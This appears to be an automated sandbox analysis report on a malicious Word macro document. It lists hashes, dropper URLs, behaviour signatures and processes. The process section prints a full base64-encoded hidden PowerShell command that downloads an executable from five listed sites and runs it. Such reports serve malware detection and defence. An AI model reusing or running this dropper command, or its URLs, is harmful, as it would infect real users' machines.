Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    22-05-2024 01:15

General

  • Target

    657c45ade4303bb41097337af74f446f_JaffaCakes118.doc

  • Size

    247KB

  • MD5

    657c45ade4303bb41097337af74f446f

  • SHA1

    f4bc5c8995e3e799fa130fba23314f2f95050c6b

  • SHA256

    b260a324f1d3b6135a4c52889fb0a4e436ddd6adb6ce61c380b25b33e3a05b80

  • SHA512

    0167228d2527fc9a1454311ef429bf1eefb10d1e5b17abf0d261fcfed48b9b81a43209b078b02bf45186552479c269f178d11f1a235f6b4650521fc56e249b05

  • SSDEEP

    6144:Q0Rum7mdLRp1bbSBIR/EHGtCMXgTo8qoFt/etg+p4z+cGAihG:Q0E3dxtR/iU9mvUPxbdhG

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://abeafrique.org/-/wv4y-6w5-3697/

exe.dropper

https://wlskdjfsa.000webhostapp.com/wp-admin/VbuFbbG/

exe.dropper

http://blog.eliminavarici.com/wp-includes/fQbmzw/

exe.dropper

http://87zn.com/wp-admin/be19e6-le6fjr-256/

exe.dropper

http://bbv.borgmeier.media/wp-includes/runyp-zsv8cv-3508006/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\657c45ade4303bb41097337af74f446f_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1736
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2604
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABTAHYAYgBlAHYAZQB1AHkAeAA9ACcATwBrAHkAeAB1AHoAegBhACcAOwAkAEIAaQBlAHYAbwBpAGwAdQBwACAAPQAgACcAMQAyADEAJwA7ACQARgB6AHUAcQBoAHYAZQBmAHQAcgB1AGwAbQA9ACcAUgB1AGQAbQB0AGgAawB6AHUAJwA7ACQASABtAHQAZgB0AGcAdwBwAGgAZwBzAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABCAGkAZQB2AG8AaQBsAHUAcAArACcALgBlAHgAZQAnADsAJABSAG4AbAB2AHAAcAByAHUAcQBiAGsAZQB4AD0AJwBTAGQAawB0AHkAbAB5AHAAaQBlAHcAcQAnADsAJABKAGkAawB4AGMAcwB1AGgAYwA9ACYAKAAnAG4AJwArACcAZQB3AC0AJwArACcAbwBiAGoAZQBjAHQAJwApACAAbgBFAHQALgBXAGUAYgBjAEwASQBlAG4AdAA7ACQASABlAGwAbwBsAGsAYQBlAGUAcQBhAD0AJwBoAHQAdABwADoALwAvAGEAYgBlAGEAZgByAGkAcQB1AGUALgBvAHIAZwAvAC0ALwB3AHYANAB5AC0ANgB3ADUALQAzADYAOQA3AC8AKgBoAHQAdABwAHMAOgAvAC8AdwBsAHMAawBkAGoAZgBzAGEALgAwADAAMAB3AGUAYgBoAG8AcwB0AGEAcABwAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBWAGIAdQBGAGIAYgBHAC8AKgBoAHQAdABwADoALwAvAGIAbABvAGcALgBlAGwAaQBtAGkAbgBhAHYAYQByAGkAYwBpAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBmAFEAYgBtAHoAdwAvACoAaAB0AHQAcAA6AC8ALwA4ADcAegBuAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBiAGUAMQA5AGUANgAtAGwAZQA2AGYAagByAC0AMgA1ADYALwAqAGgAdAB0AHAAOgAvAC8AYgBiAHYALgBiAG8AcgBnAG0AZQBpAGUAcgAuAG0AZQBkAGkAYQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAHIAdQBuAHkAcAAtAHoAcwB2ADgAYwB2AC0AMwA1ADAAOAAwADAANgAvACcALgAiAFMAYABQAEwASQBUACIAKAAnACoAJwApADsAJABVAGEAegB2AGsAZQBxAHQAeQBjAGUAPQAnAEkAZABoAHEAZwBvAHoAbwBoAG8AYgB2ACcAOwBmAG8AcgBlAGEAYwBoACgAJABIAGoAagBjAG0AYgBjAHUAZABrAG0AIABpAG4AIAAkAEgAZQBsAG8AbABrAGEAZQBlAHEAYQApAHsAdAByAHkAewAkAEoAaQBrAHgAYwBzAHUAaABjAC4AIgBEAGAATwB3AE4AbABgAE8AYQBkAEYAYABJAGwARQAiACgAJABIAGoAagBjAG0AYgBjAHUAZABrAG0ALAAgACQASABtAHQAZgB0AGcAdwBwAGgAZwBzACkAOwAkAFkAZABxAHMAegB0AGUAdgBiAGwAagBtAD0AJwBZAGUAaQBvAGUAdABxAG0AJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABIAG0AdABmAHQAZwB3AHAAaABnAHMAKQAuACIATABlAG4ARwBgAFQAaAAiACAALQBnAGUAIAAyADAANgAwADcAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwBgAFQAYQBSAHQAIgAoACQASABtAHQAZgB0AGcAdwBwAGgAZwBzACkAOwAkAEMAeQBiAG4AbAB5AGEAeQBsAHMAcAA9ACcARgBhAG4AbgBjAHcAZwB0AHUAdgAnADsAYgByAGUAYQBrADsAJABGAG0AcQByAGMAbABjAGIAPQAnAFUAYwBoAHAAbQBpAG8AaQBrAGkAdgB6AGoAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARABqAGUAaAB4AGgAYwBsAGsAPQAnAEsAaABqAGcAbgBnAGgAaQBnAGwAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2728

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\Cab3371.tmp

      Filesize

      68KB

      MD5

      29f65ba8e88c063813cc50a4ea544e93

      SHA1

      05a7040d5c127e68c25d81cc51271ffb8bef3568

      SHA256

      1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

      SHA512

      e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

    • C:\Users\Admin\AppData\Local\Temp\Tar3374.tmp

      Filesize

      177KB

      MD5

      435a9ac180383f9fa094131b173a2f7b

      SHA1

      76944ea657a9db94f9a4bef38f88c46ed4166983

      SHA256

      67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

      SHA512

      1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      1383a270219890ea17ae496fde0ff716

      SHA1

      3e18a786ac64a3abcc0b3eeb7697be84714dc7ac

      SHA256

      222bfdf1bb2e28633a8a8d594c164778068d678503046df0ed0efa501520a474

      SHA512

      d2fb5609b68750fe3b93923621e729caf1ede6b8995b553a01325772781b897ada387a0567270d84f12ae7c12260b42735d39a4f2e08d13195fdd0998a4157cb

    • memory/1736-86-0x00000000061E0000-0x00000000062E0000-memory.dmp

      Filesize

      1024KB

    • memory/1736-87-0x0000000006C00000-0x0000000006D00000-memory.dmp

      Filesize

      1024KB

    • memory/1736-15-0x00000000061E0000-0x00000000062E0000-memory.dmp

      Filesize

      1024KB

    • memory/1736-16-0x00000000061E0000-0x00000000062E0000-memory.dmp

      Filesize

      1024KB

    • memory/1736-104-0x000000007150D000-0x0000000071518000-memory.dmp

      Filesize

      44KB

    • memory/1736-103-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1736-8-0x00000000061E0000-0x00000000062E0000-memory.dmp

      Filesize

      1024KB

    • memory/1736-2-0x000000007150D000-0x0000000071518000-memory.dmp

      Filesize

      44KB

    • memory/1736-85-0x000000007150D000-0x0000000071518000-memory.dmp

      Filesize

      44KB

    • memory/1736-0-0x000000002FD81000-0x000000002FD82000-memory.dmp

      Filesize

      4KB

    • memory/1736-13-0x00000000061E0000-0x00000000062E0000-memory.dmp

      Filesize

      1024KB

    • memory/1736-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2728-23-0x0000000001E80000-0x0000000001E88000-memory.dmp

      Filesize

      32KB

    • memory/2728-22-0x000000001B710000-0x000000001B9F2000-memory.dmp

      Filesize

      2.9MB